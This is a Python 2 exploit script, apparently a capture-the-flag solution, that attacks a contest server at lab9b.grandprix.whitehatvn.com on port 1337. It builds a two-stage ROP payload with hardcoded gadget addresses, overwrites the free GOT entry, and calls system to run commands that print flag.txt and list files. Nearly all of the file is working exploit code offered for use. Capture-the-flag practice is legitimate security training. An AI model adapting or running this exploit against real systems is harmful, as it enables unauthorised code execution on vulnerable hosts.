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#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
import time | |
# p = Pwn(host='lab9b.grandprix.whitehatvn.com',port=1337) | |
# p = Pwn(port=1337) | |
def exploit(): | |
cmd = 'cat flag.txt >&4;ls -lia >&4;' | |
# raw_input('Debug>') | |
base = 0xF7E27000 | |
# system_offset = 0x4056f | |
while 1: | |
p = Pwn(host='lab9b.grandprix.whitehatvn.com',port=1337) | |
p.connect() | |
print '[+] Base',hex(base) | |
stage1 = p.pack(0x08048892) # read more byte | |
stage1+= p.pack(0x080488e7) # mov eax, 0 ; leave ; ret | |
stage1+= 'D'*4 | |
stage1+= p.pack(0x08048c0f) # ret | |
stage1+= 'A'*21 + '\x00' | |
stage1+= '\x18\xa0' # overwrite free_got | |
stage2 = 'A'*46 | |
stage2+= p.pA([ | |
0x08048600, | |
0x08048bfd, # pop esi ; pop edi ; pop ebp ; ret | |
4, | |
0x0804A078, # read cmd | |
len(cmd), | |
base + 261328,# base + system_offset, | |
0x41414141, | |
0x0804A078, # cmd | |
]) | |
p.send(stage1) | |
# time.sleep(1) | |
p.send(stage2) | |
time.sleep(2) | |
p.send(cmd) | |
p.io() | |
break | |
exploit() |
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